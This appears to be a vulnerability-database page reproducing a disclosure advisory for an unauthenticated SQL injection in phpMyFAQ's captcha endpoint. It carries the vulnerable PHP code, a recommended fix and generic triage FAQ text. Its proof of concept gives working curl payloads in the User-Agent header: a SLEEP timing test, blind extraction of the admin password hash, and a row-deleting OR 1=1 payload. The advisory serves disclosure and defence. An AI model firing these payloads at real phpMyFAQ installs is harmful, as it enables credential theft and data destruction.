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Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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390,645

Total vulnerabilities in the database

phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha — thorsten / phpmyfaq

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Summary

BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).

Details

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:

$this-&gt;userAgent = $request-&gt;headers-&gt;get(&#039;user-agent&#039;);
$this-&gt;ip = $request-&gt;getClientIp();

Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.

garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):

$delete = sprintf(
    &quot;
    DELETE FROM
        %sfaqcaptcha
    WHERE
        useragent = &#039;%s&#039; AND language = &#039;%s&#039; AND ip = &#039;%s&#039;&quot;,
    Database::getTablePrefix(),
    $this-&gt;userAgent,                                      // unescaped
    $this-&gt;configuration-&gt;getLanguage()-&gt;getLanguage(),
    $this-&gt;ip,                                             // unescaped
);
$this-&gt;configuration-&gt;getDb()-&gt;query($delete);

saveCaptcha() at line 330 does the same for INSERT:

$insert = sprintf(
    &quot;INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES (&#039;%s&#039;, &#039;%s&#039;, &#039;%s&#039;, &#039;%s&#039;, %d)&quot;,
    Database::getTablePrefix(),
    $this-&gt;code,
    $this-&gt;userAgent,                                      // unescaped
    $this-&gt;configuration-&gt;getLanguage()-&gt;getLanguage(),
    $this-&gt;ip,                                             // unescaped
    $this-&gt;timestamp,
);
$this-&gt;configuration-&gt;getDb()-&gt;query($insert);

For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.

Reachability

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:

#[Route(path: &#039;captcha&#039;, name: &#039;api.private.captcha&#039;, methods: [&#039;GET&#039;])]
public function renderImage(): Response
{
    if (!$this-&gt;captcha instanceof BuiltinCaptcha) {
        return new Response(&#039;&#039;, Response::HTTP_NOT_FOUND);
    }
    // ...
    $response-&gt;setContent($this-&gt;captcha-&gt;getCaptchaImage());
    return $response;
}

getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.

Impact surface

MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:

Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds auth_source, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials.
UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).

Proof of Concept

Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.

Step 1: Baseline request with a clean User-Agent:

time curl -sS -o /dev/null -w &quot;HTTP %{http_code} %{time_total}s\n&quot; \
  -A &quot;Mozilla/5.0&quot; \
  &quot;http://target:8090/api/captcha?nocache=1&quot;
# HTTP 500 0.147s

Step 2: Injection with SLEEP(2) in the User-Agent:

time curl -sS -o /dev/null -w &quot;HTTP %{http_code} %{time_total}s\n&quot; \
  -A &quot;x&#039; OR SLEEP(2) OR &#039;x&quot; \
  &quot;http://target:8090/api/captcha?nocache=2&quot;
# HTTP 500 4.093s

The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().

Step 3: Single-bit boolean extraction using time:

# leaks first character of the admin hash; 2s = &#039;a&#039;, 0s = otherwise
curl -sS -o /dev/null -A &quot;x&#039; OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)=&#039;a&#039;,SLEEP(2),0) OR &#039;x&quot; \
  &quot;http://target:8090/api/captcha?nocache=3&quot;

Iterating position and character enables full credential exfiltration without any authentication.

Impact

Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.

Recommended Fix

Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:

$db = $this-&gt;configuration-&gt;getDb();
$userAgent = $db-&gt;escape($this-&gt;userAgent);
$language = $db-&gt;escape($this-&gt;configuration-&gt;getLanguage()-&gt;getLanguage());
$ip = $db-&gt;escape($this-&gt;ip);

$delete = sprintf(
    &quot;DELETE FROM %sfaqcaptcha WHERE useragent = &#039;%s&#039; AND language = &#039;%s&#039; AND ip = &#039;%s&#039;&quot;,
    Database::getTablePrefix(),
    $userAgent,
    $language,
    $ip,
);
$db-&gt;query($delete);

Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE across src/phpMyFAQ/ will surface the rest.

Found by aisafe.io

Published: May 6, 2026
Updated: Aug 29, 2026
GHSA: GHSA-289f-fq7w-6q2w
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-89

OWASP TOP 10:

A1 - Injection

Affected Software
References

Software	Affected versions
thorsten / phpmyfaq	`< 4.1.2`
phpmyfaq / phpmyfaq	`< 4.1.2`

https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.